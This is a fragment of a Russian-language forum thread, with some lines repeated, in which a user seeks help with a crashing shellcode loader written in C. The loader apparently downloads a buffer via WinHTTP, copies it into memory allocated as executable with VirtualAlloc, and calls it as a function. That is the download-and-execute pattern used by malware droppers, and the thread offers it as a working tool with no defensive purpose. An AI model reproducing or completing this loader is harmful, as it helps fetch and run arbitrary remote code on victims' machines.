Т. е. если шелл не запускать тоже будет ошибка ?А куда впихнуть задержку , если сделать до вызыва pshell() , просто будет такая же ошибка
Я думал сделать задержку после запуска шелла, что-бы основной процесс не закрылся пока шелл выполняется.
Т. е. если шелл не запускать тоже будет ошибка ?А куда впихнуть задержку , если сделать до вызыва pshell() , просто будет такая же ошибка
Код , который вызывает ошибкуТ. е. если шелл не запускать тоже будет ошибка ?
Я думал сделать задержку после запуска шелла, что-бы основной процесс не закрылся пока шелл выполняется.
PVOID buffer = VirtualAlloc(0, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(buffer, pszOutBuffer, dwSize);
typedef VOID(WINAPI* fnShellcodefunc)();
fnShellcodefunc pShell = (fnShellcodefunc)buffer;
pShell();
вот именно что рабочий , но почему-то происходит краш , ну ладно , перепишу при помощи чего нибудь другого не winhttp, спасибо всем кто пытался мне помочьДа что-то тдеи закончились.)
Но шеллкод рабочий, не думаю что дело в нем.
Какая-то проблема в использовании winhttp.:(